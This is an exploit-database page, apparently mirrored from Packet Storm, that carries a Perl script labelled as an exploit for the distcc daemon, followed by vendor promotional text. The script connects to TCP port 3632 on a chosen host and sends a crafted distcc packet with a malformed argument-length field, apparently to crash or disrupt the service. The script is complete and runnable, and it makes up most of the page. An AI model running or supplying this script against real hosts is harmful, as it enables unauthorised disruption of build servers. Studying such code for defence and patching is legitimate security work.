Lucene search
K

5BP0D00FPI.pl.txt

🗓️ 27 May 2005 00:00:00Reported by beSTORMType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

Perl script for exploiting distcc daemon

Code
`#!/usr/bin/perl -w  
# Exploit generated by beSTORM on 2005-05-10 12:45  
# All Rights Reserved - Copyright (tm)  
  
use IO::Socket;  
use strict;  
  
my $target = shift;  
my $print_usage = 0;  
  
if (!$target)  
{  
usage();  
  
print "No target has been supplied, reverting to 192.168.1.52.\n";  
$target = "192.168.1.52";  
}  
  
print "Will attack $target.\n";  
my $target_port = 3632;  
  
my $packet =<<END;  
DIST00000001ARGC00000008ARGVFFFFFF00ccARGV00000002-gARGV00000003-O2ARGV00000005-WallARGV00000002-cARGV00000006main.cARGV00000002-oARGV00000006main.oDOTI0000001Bint main()\n{\n return(0);\n}\n  
END  
  
print "Sending: [$packet]\n";  
  
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $target, PeerPort => "3632");  
  
unless ($remote) { die "cannot connect to distcc daemon on $target" }  
  
print $remote $packet;  
  
print "Done.\n";  
  
sub usage  
{  
if ($print_usage) { return; }  
$print_usage = 1;  
print ("#"x50);  
print "\n";  
print "# $0 [hostname]\n";  
print "# hostname\t-\tThe host the packet will be sent to.\n";  
print "\n";  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 May 2005 00:00Current
7.4High risk
Vulners AI Score7.4
23